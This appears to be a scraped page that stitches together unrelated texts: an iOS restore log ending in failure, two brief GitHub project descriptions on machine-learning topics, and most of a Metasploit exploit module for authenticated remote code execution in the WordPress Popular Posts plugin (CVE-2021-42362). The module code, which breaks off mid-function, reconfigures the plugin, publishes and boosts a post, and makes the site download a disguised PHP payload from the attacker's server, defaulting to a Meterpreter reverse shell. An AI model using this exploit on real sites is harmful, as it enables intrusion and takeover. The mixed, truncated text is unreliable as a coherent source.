Sep 10 05:16:56 localhost kernel[0] <Notice>: void AppleSEPBooter::_bootAction(void *, void *): SEP status: 2 SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: void AppleSEPBooter::_bootAction(void *, void *): SEP status: 2 SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: IOReturn AppleSEPBooter::bootSEP(AppleSEPFirmware *, AppleSEPShare dMemoryBuffer *, bool): load the art SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: IOReturn AppleSEPBooter::bootSEP(AppleSEPFirmware *, AppleSEPShare dMemoryBuffer *, bool): separt returned is <ptr> SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: void AppleSEPBooter::_bootAction(void *, void *): SEP accepted SEP ART SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: IOReturn AppleSEPBooter::bootSEP(AppleSEPFirmware *, AppleSEPShare dMemoryBuffer *, bool): SEP booting SYSLOG: Sep 10 05:16:56 localhost kernel[0] <Notice>: IOReturn AppleSEPBooter::bootSEP(AppleSEPFirmware *, AppleSEPShare dMemoryBuffer *, bool): Shmbuf for SEP: { paddr = 0x805e60000, size = 0x10000 } SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: void AppleSEPBooter::_bootAction(void *, void *): SEP accepted IMG 4 child exited exit status: 0 entering ramrod_ticket_update looking up boot manifest hash crypto-hash-method found. Using SHA1 device tree ticket_hash: 85EA3FA2D3D80CC1A6118B0DCF38BB9FFADEA1EC computed ticket_hash : 85EA3FA2D3D80CC1A6118B0DCF38BB9FFADEA1EC received valid ticket (5468 bytes) entering partition_nand_device No IOFlashController instance found entering wait_for_storage_device Searching for NAND service Found NAND service: ASPStorage NAND initialized. Waiting for devnode. entering clear_remap_variable executing /usr/sbin/nvram Service name : ASPStorage SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: [ANS syslog: nand] Push_PowerGovernorInit:Nand Die:2 MLC: 2 N o SLC: 2 No Erase:2 SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPStorage::ASPIsReadOnly - Ramdisk rooted. Returning readonly fal se SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPStorage::ASPIsRootDeviceRamdisk - Root device is md0 SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPStorage::ASPIsRootDeviceRamdisk - Root device is a ramdisk SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: IOFirmwareDevice::updateMediaParams - prev num blks 1024 new num b lks 1024 SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPStorage::ASPIsReadOnly - Ramdisk rooted. Returning readonly fal se SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPStorage::ASPIsReadOnly - Ramdisk rooted. Returning readonly fal se Set ASP writable successfully entering ramrod_reprobe_device_path entering ramrod_probe_media SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: void AppleSEPManager::_notifyOSActiveGated(): SEP/OS is alive SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: IOReturn AppleSEPARTRequests::handle_first_connected(): Configurin g in buffer SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: IOReturn AppleSEPARTRequests::handle_first_connected(): Configurin g out buffer SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: IOReturn AppleSEPARTStorage::handle_first_connected(): Sending MAN IFEST with timeout device partitioning scheme is GPT find_filesystem_partitions: storage=/dev/disk0s1 system=/dev/disk0s1s1 data=/dev/disk0s1s2 baseband data=/dev/disk0s1s3 log= entering ramrod_reprobe_device_path entering ramrod_probe_media device partitioning scheme is GPT find_filesystem_partitions: storage=/dev/disk0s1 system=/dev/disk0s1s1 data=/dev/disk0s1s2 baseband data=/dev/disk0s1s3 log= entering ramrod_probe_media device partitioning scheme is GPT find_filesystem_partitions: storage=/dev/disk0s1 system=/dev/disk0s1s1 data=/dev/disk0s1s2 baseband data=/dev/disk0s1s3 log= entering mount_partition executing /sbin/fsck_hfs SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPSEPNotifier::message - msg = 1 SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPSEPNotifier::message - kSEPNotifyOK2Wrap SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: IOReturn AppleSEPARTStorage::handle_first_connected(): Sending ART _LOAD with timeout SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPStorage::ASPIsRootDeviceRamdisk - Root device is md0 SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: ASPStorage::ASPIsRootDeviceRamdisk - Root device is a ramdisk SYSLOG: Sep 10 05:16:58 localhost kernel[0] <Notice>: bool AppleSEPARTStorage::save_incoming_art(const uint8_t *, const uint8_t *): Incoming art set and synched journal_replay(/dev/disk0s1s1) returned 0 ** /dev/rdisk0s1s1 Using cacheBlockSize=32K cacheTotalBlock=3956 cacheSize=126592K. Executing fsck_hfs (version hfs-305.10.1). ** Checking Journaled HFS Plus volume. The volume name is Untitled ** Checking extents overflow file. ** Checking catalog file. ** Checking multi-linked files. ** Checking catalog hierarchy. ** Checking extended attributes file. ** Checking volume bitmap. ** Checking volume information. ** Trimming unused blocks. ** The volume Untitled appears to be OK. CheckHFS returned 0, fsmodified = 0 executing /sbin/mount_hfs mount_hfs: Invalid argument mount_hfs: error on mount(): error = -1. mounting /dev/disk0s1s1 on /mnt1 failed block size for /dev/disk0s1s1: 4096 /sbin/newfs_hfs -s -v System /dev/disk0s1s1 executing /sbin/newfs_hfs -s -v System /dev/disk0s1s1 Initialized /dev/rdisk0s1s1 as a 3 GB case-sensitive HFS Plus volume entering ramrod_probe_media device partitioning scheme is GPT find_filesystem_partitions: storage=/dev/disk0s1 system=/dev/disk0s1s1 data=/dev/disk0s1s2 baseband data=/dev/disk0s1s3 log= entering mount_partition executing /sbin/fsck_hfs journal_replay(/dev/disk0s1s1) returned 0 ** /dev/rdisk0s1s1 Using cacheBlockSize=32K cacheTotalBlock=3956 cacheSize=126592K. Executing fsck_hfs (version hfs-305.10.1). ** Checking non-journaled HFS Plus Volume. ** Detected a case-sensitive volume. The volume name is System ** Checking extents overflow file. ** Checking catalog file. ** Checking multi-linked files. ** Checking catalog hierarchy. ** Checking extended attributes file. ** Checking volume bitmap. ** Checking volume information. ** Trimming unused blocks. ** The volume System appears to be OK. CheckHFS returned 0, fsmodified = 0 executing /sbin/mount_hfs /dev/disk0s1s1 mounted on /mnt1 System mounted read-only unable to open /mnt1/System/Library/CoreServices/SystemVersion.plist: No such file or directory ramrod_read_previous_os_build_version: Unable to read system version plist restored_fdr_initialize: FDR is supported CryptoAcceleratorEncrypt: perform aes => 0 (kIOReturnSuccess) pseudo_ccrng_allocate: ccdrbg_init() -> 0 CryptoGenerateRSAKeys: ccrsa_generate_key() -> 0 CryptoGenerateRSAKeys: [RSA Public Key SHA1: 20 bytes] : 85 13 37 f3 e4 a7 d9 10 6b 7e f4 7e 28 f3 ed 66 : 78 6b 26 69 : ----------------------------------------------- CryptoGenerateRSAKeys: SecKeyCreateRSAPrivateKey -> 0x10014c460 CryptoGenerateRSAKeys: SecKeyCreateRSAPublicKey -> 0x10014c458 SYSLOG: Sep 10 05:17:00 localhost restored_external[6] <Error>: libMobileGestalt utility.c:260: IOServiceGetMatchingServ ice failed SYSLOG: Sep 10 05:17:00 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:3433: failed to connect to service AppleBiometricServices _copyDataInstanceForSealingMapEntry: Could not query MobileGestalt for key 'MesaSerialNumber' AMFDRSealingMapCreateRecoveryPermissions: Failed to construct data instance for sealing map entry: <CFBasicHash 0x155612 7f0 [0x100bf2a08]>{type = immutable dict, count = 4, entries => 0 : <CFString 0x155612700 [0x100bf2a08]>{contents = "Attributes"} = <CFArray 0x1556127b0 [0x100bf2a08]>{type = i mmutable, count = 2, values = ( 0 : <CFString 0x155612770 [0x100bf2a08]>{contents = "RequiredToSeal"} 1 : <CFString 0x155612790 [0x100bf2a08]>{contents = "StoreCombined"} )} 1 : <CFString 0x155612690 [0x100bf2a08]>{contents = "Tag"} = <CFString 0x155612720 [0x100bf2a08]>{contents = "FS Cl"} 5 : <CFString 0x1556126b0 [0x100bf2a08]>{contents = "MaxSize"} = <CFNumber 0xb000000000c00003 [0x100bf2a08]>{val ue = +786432, type = kCFNumberSInt64Type} 6 : <CFString 0x1556126d0 [0x100bf2a08]>{contents = "DataInstanceIdentifier"} = <CFString 0x155612740 [0x100bf2a 08]>{contents = "MesaSerialNumber"} } Continuing anyway. SYSLOG: Sep 10 05:17:00 localhost restored_external[6] <Error>: libMobileGestalt utility.c:260: IOServiceGetMatchingServ ice failed SYSLOG: Sep 10 05:17:00 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:3433: failed to connect to service AppleBiometricServices _copyDataInstanceForSealingMapEntry: Could not query MobileGestalt for key 'MesaSerialNumber' AMFDRSealingMapCreateRecoveryPermissions: Failed to construct data instance for sealing map entry: <CFBasicHash 0x155612 a10 [0x100bf2a08]>{type = immutable dict, count = 4, entries => 0 : <CFString 0x155612920 [0x100bf2a08]>{contents = "Attributes"} = <CFArray 0x1556129d0 [0x100bf2a08]>{type = i mmutable, count = 2, values = ( 0 : <CFString 0x155612990 [0x100bf2a08]>{contents = "RequiredToSeal"} 1 : <CFString 0x1556129b0 [0x100bf2a08]>{contents = "StoreCombined"} )} 1 : <CFString 0x1556128b0 [0x100bf2a08]>{contents = "Tag"} = <CFString 0x155612940 [0x100bf2a08]>{contents = "ho p0"} 5 : <CFString 0x1556128d0 [0x100bf2a08]>{contents = "MaxSize"} = <CFNumber 0xb000000000010003 [0x100bf2a08]>{val ue = +4096, type = kCFNumberSInt64Type} 6 : <CFString 0x1556128f0 [0x100bf2a08]>{contents = "DataInstanceIdentifier"} = <CFString 0x155612960 [0x100bf2a 08]>{contents = "MesaSerialNumber"} } Continuing anyway. SYSLOG: Sep 10 05:17:00 localhost restored_external[6] <Error>: libMobileGestalt utility.c:260: IOServiceGetMatchingServ ice failed SYSLOG: Sep 10 05:17:00 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:3433: failed to connect to service AppleBiometricServices _copyDataInstanceForSealingMapEntry: Could not query MobileGestalt for key 'MesaSerialNumber' AMFDRSealingMapCreateRecoveryPermissions: Failed to construct data instance for sealing map entry: <CFBasicHash 0x155612 c30 [0x100bf2a08]>{type = immutable dict, count = 4, entries => 0 : <CFString 0x155612b40 [0x100bf2a08]>{contents = "Attributes"} = <CFArray 0x155612bf0 [0x100bf2a08]>{type = i mmutable, count = 2, values = ( 0 : <CFString 0x155612bb0 [0x100bf2a08]>{contents = "RequiredToSeal"} 1 : <CFString 0x155612bd0 [0x100bf2a08]>{contents = "StoreCombined"} )} 1 : <CFString 0x155612ad0 [0x100bf2a08]>{contents = "Tag"} = <CFString 0x155612b60 [0x100bf2a08]>{contents = "Nv MR"} 5 : <CFString 0x155612af0 [0x100bf2a08]>{contents = "MaxSize"} = <CFNumber 0xb000000000c00003 [0x100bf2a08]>{val ue = +786432, type = kCFNumberSInt64Type} 6 : <CFString 0x155612b10 [0x100bf2a08]>{contents = "DataInstanceIdentifier"} = <CFString 0x155612b80 [0x100bf2a 08]>{contents = "MesaSerialNumber"} } Continuing anyway. created HTTP FDR client 0x155618260 SYSLOG: Sep 10 05:17:01 localhost restored_external[6] <Error>: libMobileGestalt utility.c:260: IOServiceGetMatchingServ ice failed SYSLOG: Sep 10 05:17:01 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:3433: failed to connect to service AppleBiometricServices _copyDataInstanceForSealingMapEntry: Could not query MobileGestalt for key 'MesaSerialNumber' AMFDRSealingMapCreateRecoveryPermissions: Failed to construct data instance for sealing map entry: <CFBasicHash 0x155612 7f0 [0x100bf2a08]>{type = immutable dict, count = 4, entries => 0 : <CFString 0x155612700 [0x100bf2a08]>{contents = "Attributes"} = <CFArray 0x1556127b0 [0x100bf2a08]>{type = i mmutable, count = 2, values = ( 0 : <CFString 0x155612770 [0x100bf2a08]>{contents = "RequiredToSeal"} 1 : <CFString 0x155612790 [0x100bf2a08]>{contents = "StoreCombined"} )} 1 : <CFString 0x155612690 [0x100bf2a08]>{contents = "Tag"} = <CFString 0x155612720 [0x100bf2a08]>{contents = "FS Cl"} 5 : <CFString 0x1556126b0 [0x100bf2a08]>{contents = "MaxSize"} = <CFNumber 0xb000000000c00003 [0x100bf2a08]>{val ue = +786432, type = kCFNumberSInt64Type} 6 : <CFString 0x1556126d0 [0x100bf2a08]>{contents = "DataInstanceIdentifier"} = <CFString 0x155612740 [0x100bf2a 08]>{contents = "MesaSerialNumber"} } Continuing anyway. SYSLOG: Sep 10 05:17:01 localhost restored_external[6] <Error>: libMobileGestalt utility.c:260: IOServiceGetMatchingServ ice failed SYSLOG: Sep 10 05:17:01 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:3433: failed to connect to service AppleBiometricServices _copyDataInstanceForSealingMapEntry: Could not query MobileGestalt for key 'MesaSerialNumber' AMFDRSealingMapCreateRecoveryPermissions: Failed to construct data instance for sealing map entry: <CFBasicHash 0x155612 a10 [0x100bf2a08]>{type = immutable dict, count = 4, entries => 0 : <CFString 0x155612920 [0x100bf2a08]>{contents = "Attributes"} = <CFArray 0x1556129d0 [0x100bf2a08]>{type = i mmutable, count = 2, values = ( 0 : <CFString 0x155612990 [0x100bf2a08]>{contents = "RequiredToSeal"} 1 : <CFString 0x1556129b0 [0x100bf2a08]>{contents = "StoreCombined"} )} 1 : <CFString 0x1556128b0 [0x100bf2a08]>{contents = "Tag"} = <CFString 0x155612940 [0x100bf2a08]>{contents = "ho p0"} 5 : <CFString 0x1556128d0 [0x100bf2a08]>{contents = "MaxSize"} = <CFNumber 0xb000000000010003 [0x100bf2a08]>{val ue = +4096, type = kCFNumberSInt64Type} 6 : <CFString 0x1556128f0 [0x100bf2a08]>{contents = "DataInstanceIdentifier"} = <CFString 0x155612960 [0x100bf2a 08]>{contents = "MesaSerialNumber"} } Continuing anyway. SYSLOG: Sep 10 05:17:01 localhost restored_external[6] <Error>: libMobileGestalt utility.c:260: IOServiceGetMatchingServ ice failed SYSLOG: Sep 10 05:17:01 localhost restored_external[6] <Error>: libMobileGestalt MobileGestalt.c:3433: failed to connect to service AppleBiometricServices _copyDataInstanceForSealingMapEntry: Could not query MobileGestalt for key 'MesaSerialNumber' AMFDRSealingMapCreateRecoveryPermissions: Failed to construct data instance for sealing map entry: <CFBasicHash 0x155612 c30 [0x100bf2a08]>{type = immutable dict, count = 4, entries => 0 : <CFString 0x155612b40 [0x100bf2a08]>{contents = "Attributes"} = <CFArray 0x155612bf0 [0x100bf2a08]>{type = i mmutable, count = 2, values = ( 0 : <CFString 0x155612bb0 [0x100bf2a08]>{contents = "RequiredToSeal"} 1 : <CFString 0x155612bd0 [0x100bf2a08]>{contents = "StoreCombined"} )} 1 : <CFString 0x155612ad0 [0x100bf2a08]>{contents = "Tag"} = <CFString 0x155612b60 [0x100bf2a08]>{contents = "Nv MR"} 5 : <CFString 0x155612af0 [0x100bf2a08]>{contents = "MaxSize"} = <CFNumber 0xb000000000c00003 [0x100bf2a08]>{val ue = +786432, type = kCFNumberSInt64Type} 6 : <CFString 0x155612b10 [0x100bf2a08]>{contents = "DataInstanceIdentifier"} = <CFString 0x155612b80 [0x100bf2a 08]>{contents = "MesaSerialNumber"} } Continuing anyway. created local FDR client 0x155619520 Received response without expected RESTORED_FDR_TRUST_DATA AMSupportPlatformMakeDirectoryForURL: Could not mkdir (Read-only file system) AMFDRCreateError: AMFDRDataLocalCopyDataStoragePath: AMSupportMakeDirectory failed: code=4 AMFDRCreateError: AMFDRDataLocalCopy: missing data storage path: code=4 failed to copy trust object from fdrLocal 0: AMFDRError/4: missing data storage path 1: AMFDRError/4: AMSupportMakeDirectory failed _AMFDRHttpRequestSendSyncNoRetry: No cookie found _AMFDRHttpCopyProxyInformation: Failed to get proxy info for URL 'http://gg.apple.com/fdrtrustobject/5340B6A059BDB732E71 5E7BB1B292EDCD45C2A8D1D07E6039D3F338D7C4428AB' _AMFDRHttpMessageSendSync: Failed to copy proxy information and proxy is enabled. AMFDRCreateError: _AMFDRHttpRequestSendSyncNoRetry: _AMFDRHttpMessageSendSync failed: code=8 AMFDRCreateError: _AMFDRHttpRequestSendSync: httpResponseHeader is NULL: code=10 AMFDRCreateError: AMFDRDataHTTPCopyTrustObject: AMFDRDataHTTPCopyTrustObject failed: code=8 failed to copy trust object from fdrHttp 0: AMFDRError/8: AMFDRDataHTTPCopyTrustObject failed 1: AMFDRError/a: httpResponseHeader is NULL 2: AMFDRError/8: _AMFDRHttpMessageSendSync failed 3: AMFDRError/4: missing data storage path 4: AMFDRError/4: AMSupportMakeDirectory failed RestoredFDRCreate() returned 6 FDR is not supported on this device ERROR: Unable to successfully restore device No data to read ERROR: Unable to restore device
liangyuanhu
A general variable selection approach in the presence of missing data in both covariates and outcomes. This approach exploits the flexibility of machine learning modeling techniques and bootstrap imputation, which is amenable to nonparametric methods in which the effect sizes of predictor variables are not naturally defined as in parametric models. Six methods are considered and compared: XGBoost, Random Forests, Conditional Random Forests, Bayesian Additive Regression Trees, lasso, stepwise backward selection.
sdave-connexion
Outiers are rare but are very crucial. In this project, several methods to detect anomalies using Unsupervised Learning where no labelled dataset is given is presented. This work was done between August 2019- November 2019. This later on served as the base project for the Master Thesis which is available in other repository. Unfortunately, I am not open to share code for this one but for master thesis code is public. Hope it helps. As we are moving towards the Industry 4.0 era where Artificial Intelligence(AI) and the Internet of Things(IoT) are crucial and integral parts of the revolution. In this transition phase from manual to the automation of work using different machines, sensors are a very important component and they play a vital role in the setup. The connectivity and flow of data/ information between sensors and devices leads us to witness rapid growth of time-based data are known as time series. In this project we will be implementing the techniques and applications of machine learning and statistical analysis, getting familiar with pandas, matplotlib, NumPy and various other libraries using Python on available sensor data from industries and extract useful information and make it possible to detect outliers and perform conditional monitoring which in-turn will help in reducing cost, optimizing manual labour capacity, increase productivity, availability, reliability and keep downtime minimum. The main aim of the Research Project is to develop online multivariate analysis tool which fetches the data, impute the missing data, eliminates outliers and non- compliant data, perform unsupervised learning and inform the user in case of abnormality i.e., out of control situations.
Nate0634034090
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # 